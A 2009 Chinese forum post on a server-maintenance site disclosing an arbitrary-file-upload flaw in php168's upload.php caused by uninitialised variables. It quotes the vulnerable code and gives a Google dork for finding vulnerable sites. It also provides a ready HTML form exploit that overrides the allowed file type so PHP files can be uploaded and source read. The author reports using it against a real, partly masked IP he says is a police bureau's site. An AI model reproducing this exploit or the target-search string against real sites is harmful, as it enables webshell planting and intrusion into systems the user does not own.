服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 5091|回复: 0

php168最新upload.php漏洞

[复制链接]
dirtysea 发表于 2009-12-22 12:24:03 | 显示全部楼层 |阅读模式
晚还是无聊继续看了下其它版本的php168源码,我是在google代码搜索中找的,看不出是什么版本,但大家测试时可以这样找站inurl:sortmsg.php php168

是upload.php文件,可以说php168在上传方便写得太不负责了,

error_reporting(0);
if($_POST['action']||$action){
include './global.php';
if(!$_COOKIE[upload]&&!$lfjid){
die('??????????<script language="javascript">
if(self!=top){top.location="login.php";}
</script>');
}
}
开头居然是这样写注释中说到为了用户数据库着想,难道他们不知道这样后果很严重吗,只要不提交$action它就不会调用global.php文件,下面的变量就全部没初始化了,那我们想怎样都行了!

.........

elseif($dir=='ad'){
$updir=$updir_ad;
}
.............

if($uploadlfj){

...................

$copyfilename=$lfjuid."_1.1.1_".date("_Y_m_d_H_i_s_",$timestamp);

if(!is_dir($updir))mkdir($updir,777);


if($mgroupdb['upload_type']){//????????????????
$filetype=$mgroupdb['upload_type'];
}else{
$filetype=$webdb['upload_type'];
}
$type=strrchr($uploadlfj_name,'.');
if( !eregi($type,$filetype) ){
echo "{$type}?????????í????<a href=\"javascript:history.go(-1)\"> ???÷·???</a>";
exit;
}

....................................

$dir="$updir/$copyfilename$type";

if(move_uploaded_file($uploadlfj,$dir)){
chmod($dir, 0777);
$ckupload=2;
}
if(!$ckupload){
if(copy($uploadlfj,$dir)){
chmod($dir, 0777);
$ckupload=2;
}
}
}
if(!$ckupload){
if(@move_uploaded_file($_FILES['uploadlfj']['tmp_name'],$dir)){
chmod($dir, 0777);
$ckupload=2;
}
}
if(!$ckupload){
if(@copy($_FILES['uploadlfj']['tmp_name'],$dir)){
chmod($dir, 0777);
$ckupload=2;
}
}
既然这样了,它可以为我们做两件事,一是上篇说的可以看源码,二是大家都关心的可以上传php文件了,可是第二点用起来有点鸡肋,因为我本地测试它并没有返回上传地址给我们,我们只是看到一片空白(高手指点下呀);,但看源码那个利用又返回了地址,这让我欲闷了一个晚上,好不容易找到个可列目录的站,终于证实了上传php文件是可行的,利用方法:

<form name="form1" method="post" action="h t t p://219.135.*.*/upload.php?uploadlf=index.php&uploadlfj_name=php.php&webdb[upload_type]=.php&lfjdb[p_num]=0&mgroupdb[upload_day_num]=2&webdb[upload_size]=500&updir=upload_files/face" enctype="multipart/form-data">
<input class=mmcinb type="file" name="uploadlfj" >
<input class=mmcinb type="submit" name="Submit" value="上传文件">
<input type="hidden" name="1action" value="uploadfile">
</form>
把它保存为htm文件,利用地址中的uploadlfj就可以看源码,用input中的uploadlfj就可以上传,相应的uploadlfj_name和webdb[upload_type值也要改哦! 219.135.*.*站就是可列目录的站,写出来只是证明这漏洞可上传php文件,虽然没返回,但可以在网站上看到,不过它是公安局的站哦,大家小心点!可别说我那个了............

大家对那个返回,有没什么看法说出来大家学习学习!

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-26 04:05 , Processed in 0.100266 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表